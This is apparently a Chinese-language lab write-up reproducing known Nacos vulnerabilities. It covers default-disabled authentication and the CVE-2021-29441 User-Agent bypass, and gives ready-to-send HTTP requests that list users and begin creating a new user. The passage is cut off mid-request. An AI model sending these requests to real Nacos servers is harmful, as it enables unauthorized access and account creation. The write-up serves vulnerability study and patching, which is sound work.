Nacos历史漏洞复现（汇总）

一、权限绕过类

1.1 Nacos默认配置未授权访问漏洞——nacos.core.auth.enabled = false

漏洞原理：默认未开启配置nacos.core.auth.enabled

http://192.168.52.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
http://192.168.52.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken

修复方案：配置文件修改为：nacos.core.auth.enabled=True。

1.2 Nacos 认证绕过漏洞（CVE-2021-29441）——User-Agent绕过鉴权

漏洞原理：配置文件中nacos.core.auth.enable.userAgentAuthWhite = true，就会获取请求头中UserAgent的值，然后判断是否是以字符串Nacos-Server为开头，若是则直接跳过鉴权。

影响版本：Nacos <= 2.0.0-ALPHA.1

使用Vulhub搭建好环境好，访问192.168.92.1/nacos/#/login，可以看到nacos的登录界面。

手动验证：User-Agent: Nacos-Server
1、检测漏洞是否存在，可以看到返回值为200,且内容中是否包含pageItems(nacos中已注册的用户)

GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
Host: 192.168.92.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

2、添加新用户

POST /nacos/v1/auth/users?username=vulhub&password=vulhub HTTP/1.1
Ho